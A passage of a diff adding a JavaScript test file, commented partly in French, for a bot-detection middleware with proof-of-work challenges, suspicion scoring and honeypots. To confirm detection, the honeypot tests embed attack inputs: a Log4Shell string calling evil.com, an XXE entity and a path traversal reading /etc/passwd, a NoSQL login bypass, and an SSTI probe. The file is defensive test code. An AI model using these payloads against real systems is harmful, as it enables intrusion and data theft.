|
|
823
|
+
const memSolution = await solveMemory(`:${nonce}:${clientSecret}`, memDifficulty);
|
|
824
|
+
|
|
825
|
+
|
|
826
|
+
// --- ÉTAPE 3: Soumettre la solution ---
|
|
827
|
+
const submissionReq = {
|
|
828
|
+
path: '/some-data', ip, cookies: {},
|
|
829
|
+
query: {
|
|
830
|
+
pow_type: 'cpu_mem',
|
|
831
|
+
pow_nonce: nonce,
|
|
832
|
+
pow_solution_cpu: String(cpuSolution),
|
|
833
|
+
pow_solution_mem: String(memSolution),
|
|
834
|
+
pow_fp: solverFingerprint // The client submits its fingerprint.
|
|
835
|
+
},
|
|
836
|
+
headers: { 'user-agent': userAgent, 'x-device-fingerprint': solverFingerprint }, rawHeaders: ['User-Agent', userAgent], httpVersion: '1.1'
|
|
837
|
+
};
|
|
838
|
+
|
|
839
|
+
let capturedCookie;
|
|
840
|
+
const submissionRes = {
|
|
841
|
+
cookie: (name, value, options) => { capturedCookie = { name, value, options }; return submissionRes; },
|
|
842
|
+
redirect: vi.fn(),
|
|
843
|
+
// Add status and send to the mock to handle potential challenge re-issuance on failure
|
|
844
|
+
status: vi.fn(function() { return this; }),
|
|
845
|
+
send: vi.fn(),
|
|
846
|
+
};
|
|
847
|
+
|
|
848
|
+
submissionReq.fingerprint = {}; // Initialize req.fingerprint
|
|
849
|
+
await middleware(submissionReq, submissionRes, vi.fn());
|
|
850
|
+
|
|
851
|
+
// --- ÉTAPE 4: Assertions ---
|
|
852
|
+
expect(submissionRes.redirect).toHaveBeenCalled();
|
|
853
|
+
expect(capturedCookie).toBeDefined();
|
|
854
|
+
expect(capturedCookie.name).toBe('pow_clearance');
|
|
855
|
+
// The key assertion: the cookie's maxAge should be the short probationary TTL
|
|
856
|
+
expect(capturedCookie.options.maxAge).toBe(probationaryTtl);
|
|
857
|
+
}, 40000);
|
|
858
|
+
|
|
859
|
+
test('should NOT redirect if PoW solution is valid but clientSecret is wrong', async () => {
|
|
860
|
+
const ip = '127.0.0.1';
|
|
861
|
+
const nonce = 'test-nonce-wrong-secret';
|
|
862
|
+
const correctClientSecret = 'the-correct-secret'; // This is what the client gets and uses
|
|
863
|
+
const wrongClientSecretOnServer = 'the-wrong-secret';
|
|
864
|
+
const suspicionFactor = 0.1;
|
|
865
|
+
const securityConfigWithLowDiff = {
|
|
866
|
+
...securityConfig,
|
|
867
|
+
cpu: { minDifficultyBits: 4, ...securityConfig.cpu }, // Merge configs correctly
|
|
868
|
+
};
|
|
869
|
+
const solverFingerprint = 'fp-test';
|
|
870
|
+
const target = __internal.calculateTarget(suspicionFactor, securityConfigWithLowDiff);
|
|
871
|
+
const baseBlock = new TextEncoder().encode(`${nonce}:${correctClientSecret}:${solverFingerprint}:`);
|
|
872
|
+
|
|
873
|
+
// 1. Le client résout le challenge avec le secret qu'il a reçu (le bon)
|
|
874
|
+
let solution = 0;
|
|
875
|
+
// Client-side simulation: hash does NOT include IP when clientSecret is used.
|
|
876
|
+
while (solution < 100000) { // Add a limit to prevent infinite loops in case of bad target
|
|
877
|
+
const hash = createHash('sha256').update(Buffer.concat([Buffer.from(baseBlock), Buffer.from(String(solution))])).digest('hex');
|
|
878
|
+
if (BigInt('0x' + hash) < target) break;
|
|
879
|
+
solution++;
|
|
880
|
+
}
|
|
881
|
+
|
|
882
|
+
// 2. Le serveur, pour une raison quelconque (corruption, attaque), a un mauvais secret stocké
|
|
883
|
+
await inMemoryStore.set(`secret:${nonce}`, {
|
|
884
|
+
clientSecret: wrongClientSecretOnServer, // The secret is wrong
|
|
885
|
+
cpuTarget: target.toString(16), // But the target is correct
|
|
886
|
+
memDifficulty: 0,
|
|
887
|
+
fingerprint: solverFingerprint, // Fingerprint is correct
|
|
888
|
+
baseBlock: new TextEncoder().encode(`${nonce}:${wrongClientSecretOnServer}:${solverFingerprint}:`)
|
|
889
|
+
});
|
|
890
|
+
|
|
891
|
+
vi.spyOn(__internal, 'getSuspicionVector').mockImplementation(async function() {
|
|
892
|
+
return {
|
|
893
|
+
historyScore: 25, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, honeypotScore: 0
|
|
894
|
+
};
|
|
895
|
+
});
|
|
896
|
+
|
|
897
|
+
const req = {
|
|
898
|
+
path: '/protected', ip, cookies: {},
|
|
899
|
+
query: {
|
|
900
|
+
pow_type: 'cpu_target', pow_nonce: nonce, pow_solution: solution, pow_fp: solverFingerprint
|
|
901
|
+
},
|
|
902
|
+
headers: { 'user-agent': 'test-ua' }, rawHeaders:[], httpVersion: '1.1'
|
|
903
|
+
};
|
|
904
|
+
|
|
905
|
+
let sentStatus, sentBody;
|
|
906
|
+
const res = {
|
|
907
|
+
status: (s) => { sentStatus = s; return res; },
|
|
908
|
+
send: (b) => { sentBody = b; },
|
|
909
|
+
redirect: vi.fn(), // On s'attend à ce que cette fonction ne soit PAS appelée
|
|
910
|
+
cookie: vi.fn()
|
|
911
|
+
};
|
|
912
|
+
const next = vi.fn();
|
|
913
|
+
|
|
914
|
+
req.fingerprint = {};
|
|
915
|
+
await powMiddleware(securityConfigWithLowDiff)(req, res, next);
|
|
916
|
+
|
|
917
|
+
expect(res.redirect).not.toHaveBeenCalled();
|
|
918
|
+
// An invalid solution is a strong bot signal (honeypotScore=100), which should trigger a block.
|
|
919
|
+
expect(sentStatus, 'Should return status 404 to block the request').toBe(404);
|
|
920
|
+
expect(sentBody, 'Should send a Forbidden message').toBe('Forbidden');
|
|
921
|
+
// Use the same fallback logic as the engine: default block threshold is 95 if not specified.
|
|
922
|
+
const blockThreshold = securityConfigWithLowDiff.thresholds.block ?? 95;
|
|
923
|
+
expect(req.fingerprint.score).toBeGreaterThanOrEqual(blockThreshold);
|
|
924
|
+
});
|
|
925
|
+
|
|
926
|
+
test('should redirect after a valid COMBINED (CPU+Mem) PoW solution is provided', async (context) => {
|
|
927
|
+
|
|
928
|
+
});
|
|
929
|
+
});
|
|
930
|
+
|
|
931
|
+
describe('Suspicion Scoring Logic (Integration)', () => {
|
|
932
|
+
const inMemoryStore = {
|
|
933
|
+
_map: new Map(),
|
|
934
|
+
async get(key) { return this._map.get(key); },
|
|
935
|
+
async set(key, value) { this._map.set(key, value); },
|
|
936
|
+
};
|
|
937
|
+
beforeEach(() => {
|
|
938
|
+
inMemoryStore._map.clear();
|
|
939
|
+
configureStore(inMemoryStore);
|
|
940
|
+
// Add a default mock for getTlsFingerprint to stabilize these tests.
|
|
941
|
+
// This needs to spy on the actual function, not the __internal export.
|
|
942
|
+
vi.spyOn(fingerprint.__internal, 'getTlsFingerprint').mockReturnValue({
|
|
943
|
+
ja3: 'mock-ja3',
|
|
944
|
+
ja4: 'mock-ja4'
|
|
945
|
+
});
|
|
946
|
+
});
|
|
947
|
+
|
|
948
|
+
test('should produce a high historyScore for rapid IP rotation', async () => {
|
|
949
|
+
const req = {
|
|
950
|
+
headers: {
|
|
951
|
+
'user-agent': 'test',
|
|
952
|
+
'x-device-fingerprint': 'cvs:123|gpu:456|hw:789' // Simulate client-side FP
|
|
953
|
+
},
|
|
954
|
+
cookies: {}, ip: '1.1.1.1', path: '/', query: {}, rawHeaders: ['User-Agent', 'test']
|
|
955
|
+
};
|
|
956
|
+
const res = { cookie: vi.fn() };
|
|
957
|
+
// Simulate a device using many IPs
|
|
958
|
+
const deviceData = { initialDeviceHash: 'hash1', ips: new Set(['1.1.1.2', '1.1.1.3', '1.1.1.4', '1.1.1.5', '1.1.1.6']), lastUpdate: Date.now(), lastFpHash: 'hash1', lastChangeTimestamp: 0, rapidChangeCount: 0 };
|
|
959
|
+
await inMemoryStore.set('device:test-device-id', deviceData);
|
|
960
|
+
req.cookies.device_id = 'test-device-id';
|
|
961
|
+
|
|
962
|
+
// We need an engine instance to hold the security config for the context
|
|
963
|
+
const securityConfig = {
|
|
964
|
+
weights: { historyScore: 1.0 },
|
|
965
|
+
thresholds: { low: 20 },
|
|
966
|
+
};
|
|
967
|
+
const engine = new FingerprintEngine(securityConfig);
|
|
968
|
+
|
|
969
|
+
req.fingerprint = {}; // Initialize req.fingerprint
|
|
970
|
+
const vector = await __internal.getSuspicionVector(req, securityConfig);
|
|
971
|
+
expect(vector.historyScore).toBeGreaterThan(20);
|
|
972
|
+
});
|
|
973
|
+
|
|
974
|
+
test('should produce a high honeypotScore for a trapped URL parameter', async () => {
|
|
975
|
+
// Configure the honeypot to trap the 'debug' parameter
|
|
976
|
+
const securityConfigWithHoneypot = {
|
|
977
|
+
weights: { honeypotScore: 1.0 },
|
|
978
|
+
thresholds: { low: 20, medium: 45, high: 75 }, // Configuration complète
|
|
979
|
+
honeypot: { // Configuration complète
|
|
980
|
+
fields: ['email_confirm', 'debug']
|
|
981
|
+
}
|
|
982
|
+
};
|
|
983
|
+
const engine = new FingerprintEngine(securityConfigWithHoneypot);
|
|
984
|
+
|
|
985
|
+
const requestContext = {
|
|
986
|
+
clientIp: '1.1.1.1',
|
|
987
|
+
path: '/',
|
|
988
|
+
cookies: {},
|
|
989
|
+
query: new URLSearchParams({ user_id: '123', debug: 'true' }), // Bot is probing with a 'debug' parameter
|
|
990
|
+
body: {},
|
|
991
|
+
headers: { 'User-agent': 'test' },
|
|
992
|
+
rawHeaders: ['User-Agent', 'test'],
|
|
993
|
+
httpVersion: '1.1',
|
|
994
|
+
isStatic: false
|
|
995
|
+
};
|
|
996
|
+
|
|
997
|
+
requestContext.fingerprint = {}; // Initialize req.fingerprint
|
|
998
|
+
// Call the main engine processing method to get the full decision object
|
|
999
|
+
const decision = await engine.processRequest(requestContext);
|
|
1000
|
+
console.log({decision})
|
|
1001
|
+
|
|
1002
|
+
// The honeypotScore should be 100 because the 'debug' parameter was found
|
|
1003
|
+
expect(decision.vector.honeypotScore).toBe(100);
|
|
1004
|
+
expect(decision.score).toBe(100); // With weight 1.0, the final score should also be 100
|
|
1005
|
+
});
|
|
1006
|
+
|
|
1007
|
+
test('should produce a high honeypotScore for RCE attempt in body', async () => {
|
|
1008
|
+
const securityConfig = {
|
|
1009
|
+
weights: { honeypotScore: 1.0 },
|
|
1010
|
+
thresholds: { low: 20, medium: 45, high: 75 }, // Configuration complète
|
|
1011
|
+
honeypot: { detectInjections: true } // Configuration complète
|
|
1012
|
+
};
|
|
1013
|
+
const engine = new FingerprintEngine(securityConfig);
|
|
1014
|
+
const requestContext = {
|
|
1015
|
+
query: {},
|
|
1016
|
+
path: '/',
|
|
1017
|
+
body: { filename: "../../../etc/passwd" },
|
|
1018
|
+
headers: { 'user-agent': 'test' },
|
|
1019
|
+
// ... autres propriétés du contexte
|
|
1020
|
+
};
|
|
1021
|
+
|
|
1022
|
+
requestContext.fingerprint = {}; // Initialize req.fingerprint
|
|
1023
|
+
const decision = await engine.processRequest(requestContext);
|
|
1024
|
+
expect(decision.vector.honeypotScore).toBe(100);
|
|
1025
|
+
expect(decision.score).toBe(100);
|
|
1026
|
+
});
|
|
1027
|
+
|
|
1028
|
+
test('should produce a high honeypotScore for NoSQL injection attempt in body', async () => {
|
|
1029
|
+
const securityConfig = {
|
|
1030
|
+
weights: { honeypotScore: 1.0 },
|
|
1031
|
+
thresholds: { low: 20, medium: 45, high: 75 }, // Configuration complète
|
|
1032
|
+
honeypot: { detectInjections: true } // Configuration complète
|
|
1033
|
+
};
|
|
1034
|
+
const engine = new FingerprintEngine(securityConfig);
|
|
1035
|
+
const requestContext = {
|
|
1036
|
+
query: {},
|
|
1037
|
+
path: '/',
|
|
1038
|
+
body: { "username": { "$ne": null }, "password": { "$ne": null } },
|
|
1039
|
+
headers: { 'user-agent': 'test' },
|
|
1040
|
+
// ... autres propriétés du contexte
|
|
1041
|
+
};
|
|
1042
|
+
|
|
1043
|
+
requestContext.fingerprint = {}; // Initialize req.fingerprint
|
|
1044
|
+
const decision = await engine.processRequest(requestContext);
|
|
1045
|
+
expect(decision.vector.honeypotScore).toBe(100);
|
|
1046
|
+
expect(decision.score).toBe(100);
|
|
1047
|
+
});
|
|
1048
|
+
|
|
1049
|
+
test('should produce a zero honeypotScore for a normal request', async () => {
|
|
1050
|
+
const securityConfig = {
|
|
1051
|
+
weights: { honeypotScore: 1.0 },
|
|
1052
|
+
thresholds: { low: 20, medium: 45, high: 75 },
|
|
1053
|
+
// Explicitly disable the new device challenge for this test to ensure a score of 0 is possible.
|
|
1054
|
+
challengeNewDevices: false,
|
|
1055
|
+
honeypot: { detectInjections: true } // Configuration complète
|
|
1056
|
+
};
|
|
1057
|
+
const engine = new FingerprintEngine(securityConfig);
|
|
1058
|
+
const requestContext = {
|
|
1059
|
+
query: new URLSearchParams({ id: "123" }),
|
|
1060
|
+
body: { comment: "This is a normal comment." },
|
|
1061
|
+
headers: { 'user-agent': 'test' },
|
|
1062
|
+
path: '/'
|
|
1063
|
+
};
|
|
1064
|
+
requestContext.fingerprint = {}; // Initialize req.fingerprint
|
|
1065
|
+
const decision = await engine.processRequest(requestContext);
|
|
1066
|
+
expect(decision.vector.honeypotScore).toBe(0); // Le score honeypot doit être 0
|
|
1067
|
+
});
|
|
1068
|
+
});
|
|
1069
|
+
|
|
1070
|
+
describe('Threshold Auto-Tuning', () => {
|
|
1071
|
+
let setIntervalSpy, clearIntervalSpy, consoleLogSpy;
|
|
1072
|
+
|
|
1073
|
+
beforeEach(() => {
|
|
1074
|
+
setIntervalSpy = vi.spyOn(global, 'setInterval');
|
|
1075
|
+
clearIntervalSpy = vi.spyOn(global, 'clearInterval');
|
|
1076
|
+
consoleLogSpy = vi.spyOn(console, 'log').mockImplementation(() => {});
|
|
1077
|
+
});
|
|
1078
|
+
afterEach(() => {
|
|
1079
|
+
vi.restoreAllMocks();
|
|
1080
|
+
stopThresholdAutoTuning(); // Ensure cleanup after each test
|
|
1081
|
+
});
|
|
1082
|
+
|
|
1083
|
+
test('should start, run an optimization cycle, and update thresholds', () => {
|
|
1084
|
+
const trafficData = [];
|
|
1085
|
+
const securityConfig = {
|
|
1086
|
+
thresholds: { low: 50, medium: 70, high: 90 }, // Mauvais seuils initiaux intentionnels
|
|
1087
|
+
weights: { historyScore: 0.5, rotationScore: 0.5, requestPatternScore: 0.5 }, // Poids initiaux
|
|
1088
|
+
patterns: { velocityThreshold: 1000, decayFactor: 0.9 }, // Patterns initiaux
|
|
1089
|
+
logger: (log) => trafficData.push(log),
|
|
1090
|
+
};
|
|
1091
|
+
|
|
1092
|
+
// Generate mock data where optimal 'low' threshold is around 25
|
|
1093
|
+
// Bots with low scores (false negatives)
|
|
1094
|
+
for (let i = 0; i < 50; i++) {
|
|
1095
|
+
const score = 15 + Math.random() * 5;
|
|
1096
|
+
trafficData.push({ type: 'challenge_issued', deviceId: `bot-${i}`, score, vector: { historyScore: score, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, requestPatternScore: 0, honeypotScore: 0, behaviorScore: 0, crossLayerInconsistencyScore: 0, timeInconsistencyScore: 0 } });
|
|
1097
|
+
}
|
|
1098
|
+
// Humans with slightly higher scores (false positives)
|
|
1099
|
+
for (let i = 0; i < 50; i++) {
|
|
1100
|
+
const score = 30 + Math.random() * 5;
|
|
1101
|
+
trafficData.push({ type: 'request_passed', deviceId: `human-${i}`, score, vector: { historyScore: score, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, requestPatternScore: 0, honeypotScore: 0, behaviorScore: 0, crossLayerInconsistencyScore: 0, timeInconsistencyScore: 0 } });
|
|
1102
|
+
}
|
|
1103
|
+
// Solved challenges (clear humans)
|
|
1104
|
+
for (let i = 0; i < 20; i++) {
|
|
1105
|
+
const score = 40;
|
|
1106
|
+
trafficData.push({ type: 'challenge_solved', deviceId: `human-solver-${i}`, score, vector: { historyScore: score, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, requestPatternScore: 0, honeypotScore: 0, behaviorScore: 0, crossLayerInconsistencyScore: 0, timeInconsistencyScore: 0 } });
|
|
1107
|
+
}
|
|
1108
|
+
|
|
1109
|
+
|
|
1110
|
+
startThresholdAutoTuning({
|
|
1111
|
+
securityConfig,
|
|
1112
|
+
trafficData,
|
|
1113
|
+
interval: 60000, // 1 minute
|
|
1114
|
+
minDataPoints: 100,
|
|
1115
|
+
});
|
|
1116
|
+
|
|
1117
|
+
// Manually trigger the optimization cycle
|
|
1118
|
+
const intervalCallback = setIntervalSpy.mock.calls[0][0];
|
|
1119
|
+
intervalCallback();
|
|
1120
|
+
|
|
1121
|
+
// The genetic algorithm should find better thresholds.
|
|
1122
|
+
// We expect 'low' to decrease significantly from 50.
|
|
1123
|
+
// With inertia, the change is gradual. We check that it has decreased but not jumped to the final value.
|
|
1124
|
+
expect(securityConfig.thresholds.low).toBeLessThan(50); // It must have decreased.
|
|
1125
|
+
expect(securityConfig.thresholds.low).toBeGreaterThan(30); // It shouldn't have jumped all the way down.
|
|
1126
|
+
expect(consoleLogSpy).toHaveBeenCalledWith(expect.stringContaining('[AutoTuning] Nouvelle configuration de sécurité optimisée appliquée.'));
|
|
1127
|
+
expect(setIntervalSpy).toHaveBeenCalledTimes(1);
|
|
1128
|
+
|
|
1129
|
+
// Stop the tuner and check if the interval is cleared
|
|
1130
|
+
stopThresholdAutoTuning();
|
|
1131
|
+
expect(clearIntervalSpy).toHaveBeenCalled();
|
|
1132
|
+
});
|
|
1133
|
+
|
|
1134
|
+
test('should not run optimization if data points are insufficient', () => {
|
|
1135
|
+
const trafficData = [];
|
|
1136
|
+
const securityConfig = {
|
|
1137
|
+
thresholds: { low: 20, medium: 45, high: 75 },
|
|
1138
|
+
weights: {}, // Add missing properties to prevent TypeError
|
|
1139
|
+
patterns: {}, // Add missing properties to prevent TypeError
|
|
1140
|
+
logger: (log) => trafficData.push(log),
|
|
1141
|
+
};
|
|
1142
|
+
|
|
1143
|
+
// Generate only 50 data points, less than the minimum of 100
|
|
1144
|
+
for (let i = 0; i < 50; i++) {
|
|
1145
|
+
const score = 10;
|
|
1146
|
+
trafficData.push({ type: 'request_passed', deviceId: `human-${i}`, score, vector: { historyScore: score } });
|
|
1147
|
+
}
|
|
1148
|
+
|
|
1149
|
+
startThresholdAutoTuning({
|
|
1150
|
+
securityConfig,
|
|
1151
|
+
trafficData,
|
|
1152
|
+
interval: 60000,
|
|
1153
|
+
minDataPoints: 100,
|
|
1154
|
+
});
|
|
1155
|
+
|
|
1156
|
+
// Manually trigger the cycle
|
|
1157
|
+
const intervalCallback = setIntervalSpy.mock.calls[0][0];
|
|
1158
|
+
intervalCallback();
|
|
1159
|
+
|
|
1160
|
+
// Check that optimization was postponed
|
|
1161
|
+
expect(consoleLogSpy).toHaveBeenCalledWith(expect.stringContaining('[AutoTuning] Reporté'));
|
|
1162
|
+
// Thresholds should not have changed
|
|
1163
|
+
expect(securityConfig.thresholds).toEqual({ low: 20, medium: 45, high: 75 });
|
|
1164
|
+
|
|
1165
|
+
// Add more data to meet the minDataPoints and MIN_CONFIDENCE_RATIO thresholds
|
|
1166
|
+
// 1. Add enough low-confidence data to reach the minDataPoints
|
|
1167
|
+
for (let i = 0; i < 45; i++) { // Add 45 more to reach 95
|
|
1168
|
+
const score = 10;
|
|
1169
|
+
trafficData.push({ type: 'request_passed', deviceId: `human-new-${i}`, score, vector: { historyScore: score } });
|
|
1170
|
+
}
|
|
1171
|
+
// 2. Add high-confidence data to pass the ratio check (5% of 100 is 5)
|
|
1172
|
+
for (let i = 0; i < 5; i++) {
|
|
1173
|
+
const score = 30;
|
|
1174
|
+
trafficData.push({ type: 'challenge_solved', deviceId: `solver-${i}`, score, vector: { historyScore: score } });
|
|
1175
|
+
}
|
|
1176
|
+
|
|
1177
|
+
// Trigger again
|
|
1178
|
+
intervalCallback();
|
|
1179
|
+
// Now that both conditions (minDataPoints and confidence ratio) are met, optimization should start.
|
|
1180
|
+
expect(consoleLogSpy).toHaveBeenCalledWith(expect.stringContaining('[AutoTuning] Démarrage du cycle d\'optimisation'));
|
|
1181
|
+
});
|
|
1182
|
+
});
|
|
1183
|
+
|
|
1184
|
+
|
|
1185
|
+
describe('getHoneypotScore Advanced Detections', () => {
|
|
1186
|
+
// Helper to run tests through the real FingerprintEngine
|
|
1187
|
+
beforeEach(() => {
|
|
1188
|
+
vi.spyOn(fingerprint.__internal, 'getTlsFingerprint').mockReturnValue({ ja3: 'mock-ja3', ja4: 'mock-ja4' });
|
|
1189
|
+
});
|
|
1190
|
+
|
|
1191
|
+
const getHoneypotScoreFromEngine = async (context, honeypotConfig) => {
|
|
1192
|
+
const securityConfig = {
|
|
1193
|
+
weights: { honeypotScore: 1.0 }, // Isolate honeypot score
|
|
1194
|
+
thresholds: { low: 1, medium: 2, high: 3 }, // Configuration complète
|
|
1195
|
+
honeypot: honeypotConfig, // Configuration complète
|
|
1196
|
+
};
|
|
1197
|
+
// The engine expects a full request context. We build one here.
|
|
1198
|
+
const fullContext = {
|
|
1199
|
+
clientIp: '127.0.0.1',
|
|
1200
|
+
path: '/',
|
|
1201
|
+
query: {},
|
|
1202
|
+
cookies: {},
|
|
1203
|
+
headers: { 'user-agent': 'test' },
|
|
1204
|
+
...context, // Spread the test-specific context (body, headers)
|
|
1205
|
+
};
|
|
1206
|
+
const engine = new FingerprintEngine(securityConfig);
|
|
1207
|
+
const decision = await engine.processRequest(fullContext);
|
|
1208
|
+
return { honeypotScore: decision.vector.honeypotScore };
|
|
1209
|
+
};
|
|
1210
|
+
|
|
1211
|
+
it('should detect Log4Shell injection attempts', async () => {
|
|
1212
|
+
const context = { body: { username: 'test', comment: 'Hello ${jndi:ldap://evil.com/a}' } };
|
|
1213
|
+
// Explicitly enable the check for this test
|
|
1214
|
+
const config = { detectInjections: ['log4shell'], fields: [] };
|
|
1215
|
+
expect((await getHoneypotScoreFromEngine(context, config)).honeypotScore).toBe(100);
|
|
1216
|
+
});
|
|
1217
|
+
|
|
1218
|
+
it('should detect Server-Side Template Injection (SSTI)', async () => {
|
|
1219
|
+
const context = { query: { name: '{{ 7*7 }}' } };
|
|
1220
|
+
// Explicitly enable the check for this test
|
|
1221
|
+
const config = { detectInjections: ['ssti'], fields: [] };
|
|
1222
|
+
expect((await getHoneypotScoreFromEngine(context, config)).honeypotScore).toBe(100);
|
|
1223
|
+
});
|
|
1224
|
+
|
|
1225
|
+
it('should detect XML External Entity (XXE) injection', async () => {
|
|
1226
|
+
const context = { body: { xml_payload: '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>' } };
|
|
1227
|
+
// Explicitly enable the check for this test
|
|
1228
|
+
const config = { detectInjections: ['xxe'], fields: [] };
|
|
1229
|
+
expect((await getHoneypotScoreFromEngine(context, config)).honeypotScore).toBe(100);
|
|
1230
|
+
});
|
|
1231
|
+
|
|
1232
|
+
it('should NOT detect human-like field interaction order', async () => {
|
|
1233
|
+
const context = {
|
|
1234
|
+
body: { username: 'human', password: 'password123' },
|
|
1235
|
+
headers: { 'x-form-interaction': 'password,username' } // Ordre inversé
|
|
1236
|
+
};
|
|
1237
|
+
const config = { checkFieldOrder: true, fields: [] };
|
|
1238
|
+
expect((await getHoneypotScoreFromEngine(context, config)).honeypotScore).toBe(0);
|
|
1239
|
+
});
|
|
1240
|
+
|
|
1241
|
+
it('should not trigger on legitimate requests', async () => {
|
|
1242
|
+
const context = {
|
|
1243
|
+
body: { username: 'legit', comment: 'This is a normal comment.' },
|
|
1244
|
+
headers: { 'x-form-interaction': 'username,comment' }
|
|
1245
|
+
};
|
|
1246
|
+
const config = { detectInjections: true, checkFieldOrder: true, fields: [] };
|
|
1247
|
+
expect((await getHoneypotScoreFromEngine(context, config)).honeypotScore).toBe(0);
|
|
1248
|
+
});
|
|
1249
|
+
});
|
|
1250
|
+
|
|
1251
|
+
describe('Honeypot Scenarios', () => {
|
|
1252
|
+
const inMemoryStore = {
|
|
1253
|
+
_map: new Map(),
|
|
1254
|
+
async get(key) { return this._map.get(key); },
|
|
1255
|
+
async set(key, value) { this._map.set(key, value); },
|
|
1256
|
+
async has(key) { return this._map.has(key); },
|
|
1257
|
+
async delete(key) { this._map.delete(key); },
|
|
1258
|
+
};
|
|
1259
|
+
|
|
1260
|
+
beforeEach(() => {
|
|
1261
|
+
inMemoryStore._map.clear();
|
|
1262
|
+
configureStore(inMemoryStore);
|
|
1263
|
+
vi.restoreAllMocks();
|
|
1264
|
+
// Add a default mock for getTlsFingerprint to stabilize these tests.
|
|
1265
|
+
// This needs to spy on the actual function, not the __internal export.
|
|
1266
|
+
vi.spyOn(fingerprint.__internal, 'getTlsFingerprint').mockReturnValue({
|
|
1267
|
+
ja3: 'mock-ja3', ja4: 'mock-ja4'
|
|
1268
|
+
});
|
|
1269
|
+
});
|
|
1270
|
+
|
|
1271
|
+
const baseSecurityConfig = {
|
|
1272
|
+
weights: { historyScore: 0.1, rotationScore: 0.1, headerAnomalyScore: 0.1, inconsistencyScore: 0.1, honeypotScore: 1.0 },
|
|
1273
|
+
thresholds: { low: 20, medium: 45, high: 75, block: 95 },
|
|
1274
|
+
honeypot: {
|
|
1275
|
+
fields: ['email_confirm'],
|
|
1276
|
+
trapUrls: ['/wp-admin', '/.env'],
|
|
1277
|
+
detectInjections: true
|
|
1278
|
+
}
|
|
1279
|
+
};
|
|
1280
|
+
|
|
1281
|
+
it('should immediately block a request to a trap URL', async () => {
|
|
1282
|
+
const engine = new FingerprintEngine(baseSecurityConfig);
|
|
1283
|
+
const requestContext = {
|
|
1284
|
+
clientIp: '1.1.1.1',
|
|
1285
|
+
path: '/wp-admin/login.php', // Hitting a trap URL
|
|
1286
|
+
cookies: {},
|
|
1287
|
+
query: {},
|
|
1288
|
+
body: {},
|
|
1289
|
+
headers: { 'user-agent': 'A regular browser' },
|
|
1290
|
+
rawHeaders: ['user-agent', 'A regular browser'],
|
|
1291
|
+
isStatic: false,
|
|
1292
|
+
};
|
|
1293
|
+
|
|
1294
|
+
const decision = await engine.processRequest(requestContext);
|
|
1295
|
+
|
|
1296
|
+
expect(decision.vector.honeypotScore).toBe(100);
|
|
1297
|
+
expect(decision.score).toBeGreaterThanOrEqual(100);
|
|
1298
|
+
expect(decision.action).toBe('block');
|
|
1299
|
+
expect(decision.status).toBe(404);
|
|
1300
|
+
});
|
|
1301
|
+
|
|
1302
|
+
it('should penalize direct challenge probing', async () => {
|
|
1303
|
+
const engine = new FingerprintEngine(baseSecurityConfig);
|
|
1304
|
+
// This request is not suspicious on its own...
|
|
1305
|
+
vi.spyOn(__internal, 'getSuspicionVector').mockResolvedValue({
|
|
1306
|
+
historyScore: 0, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, requestPatternScore: 0
|
|
1307
|
+
});
|
|
1308
|
+
|
|
1309
|
+
const requestContext = {
|
|
1310
|
+
clientIp: '1.1.1.1',
|
|
1311
|
+
path: '/',
|
|
1312
|
+
cookies: {},
|
|
1313
|
+
query: { pow_nonce: 'some-nonce-the-bot-is-testing' }, // ...but it's probing a challenge endpoint.
|
|
1314
|
+
body: {},
|
|
1315
|
+
headers: { 'user-agent': 'A regular browser' },
|
|
1316
|
+
rawHeaders: ['user-agent', 'A regular browser'],
|
|
1317
|
+
isStatic: false,
|
|
1318
|
+
};
|
|
1319
|
+
|
|
1320
|
+
const decision = await engine.processRequest(requestContext);
|
|
1321
|
+
|
|
1322
|
+
// The engine should detect the probe and assign a max honeypot score.
|
|
1323
|
+
expect(decision.vector.honeypotScore).toBe(100);
|
|
1324
|
+
expect(decision.score).toBeGreaterThanOrEqual(100);
|
|
1325
|
+
// The action should be to block the request.
|
|
1326
|
+
expect(decision.action).toBe('block');
|
|
1327
|
+
});
|
|
1328
|
+
|
|
1329
|
+
it('should persist the "condemned" status of a device across requests', async () => {
|
|
1330
|
+
const engine = new FingerprintEngine(baseSecurityConfig);
|
|
1331
|
+
const deviceId = 'condemned-device-123';
|
|
1332
|
+
|
|
1333
|
+
// Step 1: The device hits a trap URL and gets condemned.
|
|
1334
|
+
const trapRequestContext = { // This context is for conceptual setup, not direct processing in this test
|
|
1335
|
+
clientIp: '1.1.1.1',
|
|
1336
|
+
path: '/.env', // Trap URL
|
|
1337
|
+
cookies: { device_id: deviceId },
|
|
1338
|
+
query: {}, body: {}, headers: { 'user-agent': 'A regular browser' }, isStatic: false,
|
|
1339
|
+
};
|
|
1340
|
+
|
|
1341
|
+
// We need to store the initial device data for the condemnation to stick.
|
|
1342
|
+
await inMemoryStore.set(`device:${deviceId}`, {
|
|
1343
|
+
initialDeviceHash: 'any-hash',
|
|
1344
|
+
ips: new Set(['1.1.1.1']),
|
|
1345
|
+
lastUpdate: Date.now(),
|
|
1346
|
+
lastFpHash: 'any-hash',
|
|
1347
|
+
lastChangeTimestamp: 0,
|
|
1348
|
+
rapidChangeCount: 0,
|
|
1349
|
+
condemned: true // This is the key part
|
|
1350
|
+
});
|
|
1351
|
+
|
|
1352
|
+
// Step 2: The same device makes a new, seemingly innocent request.
|
|
1353
|
+
const innocentRequestContext = {
|
|
1354
|
+
clientIp: '1.1.1.1',
|
|
1355
|
+
path: '/legitimate-page', // Normal URL
|
|
1356
|
+
cookies: { device_id: deviceId }, // Same device ID
|
|
1357
|
+
query: new URLSearchParams(), body: {}, headers: { 'user-agent': 'A regular browser' }, rawHeaders: ['user-agent', 'A regular browser'], isStatic: false,
|
|
1358
|
+
};
|
|
1359
|
+
|
|
1360
|
+
const decision = await engine.processRequest(innocentRequestContext);
|
|
1361
|
+
|
|
1362
|
+
// The honeypot score should still be 100 due to the persisted "condemned" status.
|
|
1363
|
+
expect(decision.vector.honeypotScore).toBe(100);
|
|
1364
|
+
expect(decision.action).toBe('block');
|
|
1365
|
+
});
|
|
1366
|
+
|
|
1367
|
+
it('should use external analyzers to detect threats', async () => {
|
|
1368
|
+
const customAnalyzer = vi.fn((data) => {
|
